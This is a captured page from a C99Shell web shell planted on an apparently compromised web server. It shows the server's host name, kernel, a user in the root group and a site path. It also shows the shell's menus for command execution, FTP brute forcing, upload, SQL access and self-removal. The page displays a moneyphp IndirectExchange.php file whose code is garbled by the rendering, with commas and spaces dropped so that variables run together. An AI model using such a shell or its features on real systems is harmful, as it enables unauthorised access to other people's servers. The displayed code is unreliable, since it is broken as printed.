!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/moneyphp/money/src/Exchange/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IndirectExchange.php (4.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Money\Exchange;

use 
Money\Currencies;
use 
Money\Currency;
use 
Money\CurrencyPair;
use 
Money\Exception\UnresolvableCurrencyPairException;
use 
Money\Exchange;
use 
Money\Money;
use 
SplQueue;

use function 
array_reduce;
use function 
array_reverse;

/**
 * Provides a way to get an exchange rate through a minimal set of intermediate conversions.
 */
final class IndirectExchange implements Exchange
{
    private 
Currencies $currencies;

    private 
Exchange $exchange;

    public function 
__construct(Exchange $exchangeCurrencies $currencies)
    {
        
$this->exchange   $exchange;
        
$this->currencies $currencies;
    }

    public function 
quote(Currency $baseCurrencyCurrency $counterCurrency): CurrencyPair
    
{
        try {
            return 
$this->exchange->quote($baseCurrency$counterCurrency);
        } catch (
UnresolvableCurrencyPairException) {
            
$rate array_reduce(
                
$this->getConversions($baseCurrency$counterCurrency),
                
/**
                 * @psalm-param numeric-string $carry
                 *
                 * @psalm-return numeric-string
                 */
                
static function (string $carryCurrencyPair $pair) {
                    
$calculator Money::getCalculator();

                    return 
$calculator::multiply($carry$pair->getConversionRatio());
                },
                
'1.0'
            
);

            return new 
CurrencyPair($baseCurrency$counterCurrency$rate);
        }
    }

    
/**
     * @return CurrencyPair[]
     *
     * @throws UnresolvableCurrencyPairException
     */
    
private function getConversions(Currency $baseCurrencyCurrency $counterCurrency): array
    {
        
$startNode             = new IndirectExchangeQueuedItem($baseCurrency);
        
$startNode->discovered true;

        
/** @psalm-var array<non-empty-string, IndirectExchangeQueuedItem> $nodes */
        
$nodes = [$baseCurrency->getCode() => $startNode];

        
/** @psam-var SplQueue<IndirectExchangeQueuedItem> $frontier */
        
$frontier = new SplQueue();
        
$frontier->enqueue($startNode);

        while (
$frontier->count()) {
            
/** @psalm-var IndirectExchangeQueuedItem $currentNode */
            
$currentNode     $frontier->dequeue();
            
$currentCurrency $currentNode->currency;

            if (
$currentCurrency->equals($counterCurrency)) {
                return 
$this->reconstructConversionChain($nodes$currentNode);
            }

            foreach (
$this->currencies as $candidateCurrency) {
                if (! isset(
$nodes[$candidateCurrency->getCode()])) {
                    
$nodes[$candidateCurrency->getCode()] = new IndirectExchangeQueuedItem($candidateCurrency);
                }

                
$node $nodes[$candidateCurrency->getCode()];

                if (
$node->discovered) {
                    continue;
                }

                try {
                    
// Check if the candidate is a neighbor. This will throw an exception if it isn't.
                    
$this->exchange->quote($currentCurrency$candidateCurrency);

                    
$node->discovered true;
                    
$node->parent     $currentNode;

                    
$frontier->enqueue($node);
                } catch (
UnresolvableCurrencyPairException $exception) {
                    
// Not a neighbor. Move on.
                
}
            }
        }

        throw 
UnresolvableCurrencyPairException::createFromCurrencies($baseCurrency$counterCurrency);
    }

    
/**
     * @psalm-param array<non-empty-string, IndirectExchangeQueuedItem> $currencies
     *
     * @return CurrencyPair[]
     * @psalm-return list<CurrencyPair>
     */
    
private function reconstructConversionChain(array $currenciesIndirectExchangeQueuedItem $goalNode): array
    {
        
$current     $goalNode;
        
$conversions = [];

        while (
$current->parent) {
            
$previous      $currencies[$current->parent->currency->getCode()];
            
$conversions[] = $this->exchange->quote($previous->currency$current->currency);
            
$current       $previous;
        }

        return 
array_reverse($conversions);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--